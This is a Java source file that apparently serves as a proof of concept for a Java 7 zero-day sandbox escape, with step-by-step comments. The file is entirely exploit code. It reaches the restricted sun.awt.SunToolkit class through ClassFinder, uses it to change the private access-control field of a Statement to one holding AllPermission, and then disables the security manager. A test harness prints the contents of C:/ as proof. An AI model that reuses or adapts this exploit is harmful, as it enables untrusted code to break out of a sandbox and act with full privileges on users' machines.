import java.beans.*;
import java.io.File;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;

import com.sun.beans.finder.ClassFinder;

public class Java7ZeroDay {

    public static void disableSecurity() throws Throwable {

        // get access to sun.awt.SunToolkit, which is in a restricted package,
        // so this should NOT work...
        Class<?> sun_awt_SunToolkit = ClassFinder.findClass("sun.awt.SunToolkit");

        // the rest is just a short way to exploit having access to that class.

        // we have to call everything "indirectly" since the verifier would
        // refuse to load the class if it directly tried to call that methods.

        // call SunToolkit.getField to get an accessor to private "acc" field of
        // Statement.class. (That method is new in Java 7, but there are plenty
        // of other (more convoluted) ways in earlier versions to elevate
        // permissions if you have access to restricted packages).
        Expression expr = new Expression(sun_awt_SunToolkit, "getField", new Object[] { Statement.class, "acc" });
        expr.execute();
        Field acc_Field = ((Field) expr.getValue());

        // create an access control context with all permissions
        Permissions allPerms = new Permissions();
        allPerms.add(new AllPermission());
        AccessControlContext allPermAcc = new AccessControlContext(new ProtectionDomain[] {
                new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), allPerms)
        });

        // create a statement that disabled the security manager, to run in our
        // own untrusted access control context
        Statement disableSecurityManager = new Statement(java.lang.System.class, "setSecurityManager", new Object[1]);

        // use our private acc field accessor to change the access control
        // context of the statement above to the access control context with all
        // permissions
        acc_Field.set(disableSecurityManager, allPermAcc);

        // and call it (now that it has all permissions)
        disableSecurityManager.execute();
    }

    // test method, call this like this
    // java -Djava.security.manager Java7ZeroDay
    public static void main(String[] args) throws Throwable {
        try {
            new File("C:/").list();
            System.out.println("No Security Manager present");
        } catch (SecurityException ex) {
            disableSecurity();
            System.out.println("Security Manager disabled. Proof:");
            for (File file : new File("C:/").listFiles())
                System.out.println("\t" + file);
        }
    }
}